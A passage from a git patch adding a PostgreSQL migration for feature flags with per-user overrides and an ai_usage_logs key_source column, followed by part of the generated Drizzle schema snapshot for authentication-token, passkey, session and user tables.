From 1cb813c424605b58dc81c3f6435c576c8358592a Mon Sep 17 00:00:00 2001
From: 2witstudios <2witstudios@gmail.com>
Date: Sun, 29 Nov 2026 19:20:47 -0600
Subject: [PATCH 01/35] feat(db): feature flags with per-user overrides, and
ai_usage_logs.key_source (BYOK-2, BYOK-7)
Co-Authored-By: Claude Opus 5.5
Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR
---
.../db/drizzle/0394_byok_feature_flags.sql | 19 +
packages/db/drizzle/meta/0394_snapshot.json | 30548 ++++++++++++++++
packages/db/drizzle/meta/_journal.json | 7 +
packages/db/package.json | 4 +
packages/db/src/schema.ts | 3 +
packages/db/src/schema/feature-flags.ts | 39 +
packages/db/src/schema/monitoring.ts | 7 +
7 files changed, 30627 insertions(+)
create mode 100644 packages/db/drizzle/0394_byok_feature_flags.sql
create mode 100644 packages/db/drizzle/meta/0394_snapshot.json
create mode 100644 packages/db/src/schema/feature-flags.ts
diff --git a/packages/db/drizzle/0394_byok_feature_flags.sql b/packages/db/drizzle/0394_byok_feature_flags.sql
new file mode 100644
index 0000000000..ee84e8a32f
--- /dev/null
+++ b/packages/db/drizzle/0394_byok_feature_flags.sql
@@ -0,0 +1,19 @@
+CREATE TABLE "feature_flag_user_overrides" (
+ "flag_key" text NOT NULL,
+ "user_id" text NOT NULL,
+ "enabled" boolean NOT NULL,
+ "updated_at" timestamp with time zone DEFAULT now() NOT NULL,
+ "updated_by" text,
+ CONSTRAINT "feature_flag_user_overrides_flag_key_user_id_pk" PRIMARY KEY("flag_key","user_id")
+);
+--> statement-breakpoint
+CREATE TABLE "feature_flags" (
+ "key" text PRIMARY KEY NOT NULL,
+ "enabled_by_default" boolean DEFAULT false NOT NULL,
+ "updated_at" timestamp with time zone DEFAULT now() NOT NULL,
+ "updated_by" text
+);
+--> statement-breakpoint
+ALTER TABLE "ai_usage_logs" ADD COLUMN "key_source" text DEFAULT 'managed' NOT NULL;--> statement-breakpoint
+ALTER TABLE "feature_flag_user_overrides" ADD CONSTRAINT "feature_flag_user_overrides_user_id_users_id_fk" FOREIGN KEY ("user_id") REFERENCES "public"."users"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint
+CREATE INDEX "feature_flag_user_overrides_user_idx" ON "feature_flag_user_overrides" USING btree ("user_id");
\ No newline at end of file
diff --git a/packages/db/drizzle/meta/0394_snapshot.json b/packages/db/drizzle/meta/0394_snapshot.json
new file mode 100644
index 0000000000..8b94616ad5
--- /dev/null
+++ b/packages/db/drizzle/meta/0394_snapshot.json
@@ -0,0 +1,30548 @@
+{
+ "id": "4c48b56c-4e18-4de4-9b06-8e60fe7c952e",
+ "prevId": "348433db-3749-4b5c-9cff-0fc147004f01",
+ "version": "7",
+ "dialect": "postgresql",
+ "tables": {
+ "public.apple_sign_in_tokens": {
+ "name": "apple_sign_in_tokens",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "client_id": {
+ "name": "client_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "refresh_token": {
+ "name": "refresh_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "apple_sign_in_tokens_user_client_idx": {
+ "name": "apple_sign_in_tokens_user_client_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "client_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "apple_sign_in_tokens_user_id_users_id_fk": {
+ "name": "apple_sign_in_tokens_user_id_users_id_fk",
+ "tableFrom": "apple_sign_in_tokens",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.device_tokens": {
+ "name": "device_tokens",
+ "schema": "",
+ "columns": {
+ "authenticatedAt": {
+ "name": "authenticatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "authenticationAssurance": {
+ "name": "authenticationAssurance",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tokenHash": {
+ "name": "tokenHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tokenPrefix": {
+ "name": "tokenPrefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "lastUsedAt": {
+ "name": "lastUsedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "deviceId": {
+ "name": "deviceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "platform": {
+ "name": "platform",
+ "type": "PlatformType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "deviceName": {
+ "name": "deviceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "tokenVersion": {
+ "name": "tokenVersion",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "userAgent": {
+ "name": "userAgent",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ipAddress": {
+ "name": "ipAddress",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastIpAddress": {
+ "name": "lastIpAddress",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "location": {
+ "name": "location",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "trustScore": {
+ "name": "trustScore",
+ "type": "real",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "suspiciousActivityCount": {
+ "name": "suspiciousActivityCount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "revokedAt": {
+ "name": "revokedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revokedReason": {
+ "name": "revokedReason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replacedByTokenId": {
+ "name": "replacedByTokenId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "device_tokens_user_id_idx": {
+ "name": "device_tokens_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "device_tokens_token_hash_idx": {
+ "name": "device_tokens_token_hash_idx",
+ "columns": [
+ {
+ "expression": "tokenHash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "device_tokens_device_id_idx": {
+ "name": "device_tokens_device_id_idx",
+ "columns": [
+ {
+ "expression": "deviceId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "device_tokens_expires_at_idx": {
+ "name": "device_tokens_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "device_tokens_active_device_idx": {
+ "name": "device_tokens_active_device_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "deviceId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "platform",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"device_tokens\".\"revokedAt\" IS NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "device_tokens_userId_users_id_fk": {
+ "name": "device_tokens_userId_users_id_fk",
+ "tableFrom": "device_tokens",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "device_tokens_tokenHash_unique": {
+ "name": "device_tokens_tokenHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "tokenHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.email_unsubscribe_tokens": {
+ "name": "email_unsubscribe_tokens",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "token_hash": {
+ "name": "token_hash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "token_prefix": {
+ "name": "token_prefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "notification_type": {
+ "name": "notification_type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "used_at": {
+ "name": "used_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "email_unsubscribe_tokens_token_hash_idx": {
+ "name": "email_unsubscribe_tokens_token_hash_idx",
+ "columns": [
+ {
+ "expression": "token_hash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "email_unsubscribe_tokens_user_id_idx": {
+ "name": "email_unsubscribe_tokens_user_id_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "email_unsubscribe_tokens_expires_at_idx": {
+ "name": "email_unsubscribe_tokens_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "email_unsubscribe_tokens_user_id_users_id_fk": {
+ "name": "email_unsubscribe_tokens_user_id_users_id_fk",
+ "tableFrom": "email_unsubscribe_tokens",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "email_unsubscribe_tokens_token_hash_unique": {
+ "name": "email_unsubscribe_tokens_token_hash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "token_hash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.mcp_tokens": {
+ "name": "mcp_tokens",
+ "schema": "",
+ "columns": {
+ "authenticatedAt": {
+ "name": "authenticatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "authenticationAssurance": {
+ "name": "authenticationAssurance",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tokenHash": {
+ "name": "tokenHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tokenPrefix": {
+ "name": "tokenPrefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "isScoped": {
+ "name": "isScoped",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "lastUsed": {
+ "name": "lastUsed",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "revokedAt": {
+ "name": "revokedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "mcp_tokens_user_id_idx": {
+ "name": "mcp_tokens_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "mcp_tokens_token_hash_idx": {
+ "name": "mcp_tokens_token_hash_idx",
+ "columns": [
+ {
+ "expression": "tokenHash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "mcp_tokens_userId_users_id_fk": {
+ "name": "mcp_tokens_userId_users_id_fk",
+ "tableFrom": "mcp_tokens",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "mcp_tokens_tokenHash_unique": {
+ "name": "mcp_tokens_tokenHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "tokenHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.passkeys": {
+ "name": "passkeys",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "credential_id": {
+ "name": "credential_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "public_key": {
+ "name": "public_key",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "counter": {
+ "name": "counter",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "device_type": {
+ "name": "device_type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "transports": {
+ "name": "transports",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "backed_up": {
+ "name": "backed_up",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "last_used_at": {
+ "name": "last_used_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "passkeys_user_id_idx": {
+ "name": "passkeys_user_id_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "passkeys_credential_id_idx": {
+ "name": "passkeys_credential_id_idx",
+ "columns": [
+ {
+ "expression": "credential_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "passkeys_user_id_users_id_fk": {
+ "name": "passkeys_user_id_users_id_fk",
+ "tableFrom": "passkeys",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "passkeys_credential_id_unique": {
+ "name": "passkeys_credential_id_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "credential_id"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.socket_tokens": {
+ "name": "socket_tokens",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tokenHash": {
+ "name": "tokenHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "socket_tokens_user_id_idx": {
+ "name": "socket_tokens_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "socket_tokens_token_hash_idx": {
+ "name": "socket_tokens_token_hash_idx",
+ "columns": [
+ {
+ "expression": "tokenHash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "socket_tokens_expires_at_idx": {
+ "name": "socket_tokens_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "socket_tokens_userId_users_id_fk": {
+ "name": "socket_tokens_userId_users_id_fk",
+ "tableFrom": "socket_tokens",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "socket_tokens_tokenHash_unique": {
+ "name": "socket_tokens_tokenHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "tokenHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.users": {
+ "name": "users",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "email": {
+ "name": "email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "emailBidx": {
+ "name": "emailBidx",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "emailVerified": {
+ "name": "emailVerified",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "image": {
+ "name": "image",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "googleId": {
+ "name": "googleId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "appleId": {
+ "name": "appleId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "provider": {
+ "name": "provider",
+ "type": "AuthProvider",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'email'"
+ },
+ "accountType": {
+ "name": "accountType",
+ "type": "AccountType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'human'"
+ },
+ "tokenVersion": {
+ "name": "tokenVersion",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "role": {
+ "name": "role",
+ "type": "UserRole",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'user'"
+ },
+ "adminRoleVersion": {
+ "name": "adminRoleVersion",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "currentAiProvider": {
+ "name": "currentAiProvider",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'zai'"
+ },
+ "currentAiModel": {
+ "name": "currentAiModel",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'z-ai/glm-5.3-flash'"
+ },
+ "imageGenerationModel": {
+ "name": "imageGenerationModel",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "storageUsedBytes": {
+ "name": "storageUsedBytes",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "activeUploads": {
+ "name": "activeUploads",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "lastStorageCalculated": {
+ "name": "lastStorageCalculated",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stripeCustomerId": {
+ "name": "stripeCustomerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "subscriptionTier": {
+ "name": "subscriptionTier",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'free'"
+ },
+ "tosAcceptedAt": {
+ "name": "tosAcceptedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "failedLoginAttempts": {
+ "name": "failedLoginAttempts",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "lockedUntil": {
+ "name": "lockedUntil",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "suspendedAt": {
+ "name": "suspendedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "suspendedReason": {
+ "name": "suspendedReason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "timezone": {
+ "name": "timezone",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "starterSkillsInstalledAt": {
+ "name": "starterSkillsInstalledAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "onboardingCompletedAt": {
+ "name": "onboardingCompletedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "users_email_bidx_idx": {
+ "name": "users_email_bidx_idx",
+ "columns": [
+ {
+ "expression": "emailBidx",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "users_email_unique": {
+ "name": "users_email_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "email"
+ ]
+ },
+ "users_googleId_unique": {
+ "name": "users_googleId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "googleId"
+ ]
+ },
+ "users_appleId_unique": {
+ "name": "users_appleId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appleId"
+ ]
+ },
+ "users_stripeCustomerId_unique": {
+ "name": "users_stripeCustomerId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "stripeCustomerId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "users_personal_subscription_tier": {
+ "name": "users_personal_subscription_tier",
+ "value": "\"users\".\"subscriptionTier\" IN ('free', 'pro')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.verification_tokens": {
+ "name": "verification_tokens",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tokenHash": {
+ "name": "tokenHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tokenPrefix": {
+ "name": "tokenPrefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "type": {
+ "name": "type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "usedAt": {
+ "name": "usedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "verification_tokens_user_id_idx": {
+ "name": "verification_tokens_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "verification_tokens_token_hash_idx": {
+ "name": "verification_tokens_token_hash_idx",
+ "columns": [
+ {
+ "expression": "tokenHash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "verification_tokens_type_idx": {
+ "name": "verification_tokens_type_idx",
+ "columns": [
+ {
+ "expression": "type",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "verification_tokens_userId_users_id_fk": {
+ "name": "verification_tokens_userId_users_id_fk",
+ "tableFrom": "verification_tokens",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "verification_tokens_tokenHash_unique": {
+ "name": "verification_tokens_tokenHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "tokenHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.sessions": {
+ "name": "sessions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "token_hash": {
+ "name": "token_hash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "token_prefix": {
+ "name": "token_prefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "device_id": {
+ "name": "device_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "type": {
+ "name": "type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "scopes": {
+ "name": "scopes",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ },
+ "resource_type": {
+ "name": "resource_type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resource_id": {
+ "name": "resource_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "authenticated_at": {
+ "name": "authenticated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "authentication_assurance": {
+ "name": "authentication_assurance",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "token_version": {
+ "name": "token_version",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "admin_role_version": {
+ "name": "admin_role_version",
+ "type": "integer",
+ "primaryKey": false,
